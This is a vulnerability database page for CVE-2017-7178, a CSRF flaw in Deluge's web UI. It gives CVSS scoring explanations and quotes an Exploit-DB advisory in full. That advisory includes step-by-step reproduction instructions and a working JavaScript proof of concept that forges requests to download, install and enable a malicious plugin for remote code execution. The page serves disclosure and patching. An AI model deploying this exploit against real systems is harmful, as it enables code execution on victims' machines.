CVE-2017-7178 : Detail

CVE-2017-7178

8.8
/
High
Cross-Site Request Forgery - CSRF
A01-Broken Access Control
1.77%V4
Network
2017-03-18
19h10 +00:00
2017-11-03
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

CSRF was discovered in the web UI in Deluge before 1.3.14. The exploitation methodology involves (1) hosting a crafted plugin that executes an arbitrary program from its __init__.py file and (2) causing the victim to download, install, and enable this plugin.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41541

Publication date : 2017-03-05 23h00 +00:00
Author : Kyle Neideck
EDB Verified : No

<!-- Remote code execution via CSRF vulnerability in the web UI of Deluge 1.3.13 Kyle Neideck, February 2017 Product ------- Deluge is a BitTorrent client available from http://deluge-torrent.org. Fix --- Fixed in the (public) source code, but not in binary releases yet. See http://git.deluge-torrent.org/deluge/commit/?h=develop&id=11e8957deaf0c76fdfbac62d99c8b6c61cfdddf9 and http://git.deluge-torrent.org/deluge/commit/?h=1.3-stable&id=318ab179865e0707d7945edc3a13a464a108d583 Install from source or use the web UI from an incognito/private window until new binaries are released. Summary ------- Deluge version 1.3.13 is vulnerable to cross-site request forgery in the Web UI plug-in resulting in remote code execution. Requests made to the /json endpoint are not checked for CSRF. See the "render" function of the "JSON" class in deluge/ui/web/json_api.py. The Web UI plug-in is installed, but not enabled, by default. If the user has enabled the Web UI plug-in and logged into it, a malicious web page can use forged requests to make Deluge download and install a Deluge plug-in provided by the attacker. The plug-in can then execute arbitrary code as the user running Deluge (usually the local user account). Timeline -------- 2017-03-01 Disclosed the vulnerability to Calum Lind (Cas) of Deluge Team 2017-03-01 Vulnerability fixed by Calum Lind 2017-03-05 Advisory released To Reproduce ------------ - Create/find a Deluge plug-in to be installed on the victim machine. For example, create an empty plug-in with python deluge/scripts/create_plugin.py --name malicious --basepath . \ --author-name "n" --author-email "e" (see http://git.deluge-torrent.org/deluge/tree/deluge/scripts/create_plugin.py?h=1.3-stable&id=318ab179865e0707d7945edc3a13a464a108d583) and add a line to its __init__.py to launch calc.exe. - Build the plug-in as a .egg (if necessary): python malicious/setup.py bdist_egg - Make a torrent containing the .egg and seed it somewhere. - Create a Magnet link for the torrent. - In the proof-of-concept page below, update the PLUGIN_NAME, PLUGIN_FILE and MAGNET_LINK constants. - Put the PoC on a web server somewhere. Serving it locally is fine. - In Deluge, open Preferences, go to the Plugins category and enable the Web UI plug-in. - Go to the WebUi preferences section and check "Enable web interface". The port should be set to 8112 by default. - If you're serving the PoC over HTTPS, check "Enable SSL" so its requests don't get blocked as mixed content. If you're not, SSL can be enabled or disabled. - Go to localhost:8112 in a browser on the victim machine and log in. - Open the PoC in the same browser. The PoC sends requests to localhost:8112 that include cookies. The first request adds the torrent, which downloads the .egg (the plug-in) to /tmp. It then sends repeated requests to install the .egg and enable it. The attacker's code in the plug-in runs when the plug-in is enabled. For the attack to be successful, the PoC page must be left open until the malicious plug-in finishes downloading. An attacker could avoid that limitation by using the Execute plug-in, which is installed by default, but Deluge has to be restarted before the Execute plug-in can be used. I don't think that can be done from the web UI, so the attacker's code would only execute after the victim restarted Deluge and then added/removed/completed a torrent. The PoC adds the plug-in torrent using a Magnet link because it would need to read the web UI's responses to add a .torrent file, which CORS prevents. Proof of Concept ---------------- --> <!-- Deluge 1.3.13 Web UI CSRF Tested on Linux, macOS and Windows. Kyle Neideck, February 2017 kyle@bearisdriving.com --> <html><body><script> let PLUGIN_NAME = 'malicious'; let PLUGIN_FILE = 'malicious-0.1-py2.7.egg'; let MAGNET_LINK = 'magnet:?xt=urn:btih:1b02570de69c0cb6d12c544126a32c67c79024b4' + '&dn=malicious-0.1-py2.7.egg' + '&tr=http%3A%2F%2Ftracker.example.com%3A6969%2Fannounce'; function send_deluge_json(json) { console.log('Sending: ' + json); for (let proto of ['http','https']) { let xhr = new XMLHttpRequest(); xhr.open('POST', proto + '://localhost:8112/json'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.withCredentials = true; xhr.onload = function() { console.log(xhr); }; xhr.send(json); } } let download_location = (navigator.appVersion.indexOf("Win") != -1) ? 'C:\\\\Users\\\\Public' : '/tmp'; // Download a malicious plugin using a Magnet link. // // Using the /upload endpoint or adding a .torrent file wouldn't work. We could // upload the file (either a .torrent or the plug-in itself), but it would be // saved in a temp dir with a random name. CORS would prevent us from reading // the path to the file from the response, and to finish the process we'd need // to send a second request that includes that path. send_deluge_json('{' + '"method":"web.add_torrents",' + '"params":[[{' + '"path":"' + MAGNET_LINK + '",' + '"options":{' + '"file_priorities":[],' + '"add_paused":false,' + '"compact_allocation":false,' + '"download_location":"' + download_location + '",' + '"move_completed":false,' + '"move_completed_path":"' + download_location + '",' + '"max_connections":-1,' + '"max_download_speed":-1,' + '"max_upload_slots":-1,' + '"max_upload_speed":-1,' + '"prioritize_first_last_pieces":false}}]],' + '"id":12345}'); window.stop = false; // Repeatedly try to enable the plugin, since we can't tell when it will finish // downloading. function try_to_add_and_enable_plugin() { send_deluge_json('{' + '"method":"web.upload_plugin",' + '"params":["' + PLUGIN_FILE + '","' + download_location + '/' + PLUGIN_FILE + '"],' + '"id":12345}'); send_deluge_json('{' + '"method":"core.enable_plugin",' + '"params":["' + PLUGIN_NAME + '"],' + '"id":12345}'); if (!window.stop) { window.setTimeout(try_to_add_and_enable_plugin, 500); } } try_to_add_and_enable_plugin(); </script> <button onclick="window.stop = true">Stop sending requests</button> </body></html>

Products Mentioned

Configuraton 0

Deluge-torrent>>Deluge >> Version To (excluding) 1.3.14

Configuraton 0

Debian>>Debian_linux >> Version 8.0

References

http://www.securityfocus.com/bid/97041
Tags : vdb-entry, x_refsource_BID
https://bugs.debian.org/857903
Tags : x_refsource_CONFIRM
http://www.debian.org/security/2017/dsa-3856
Tags : vendor-advisory, x_refsource_DEBIAN
https://security.gentoo.org/glsa/201703-06
Tags : vendor-advisory, x_refsource_GENTOO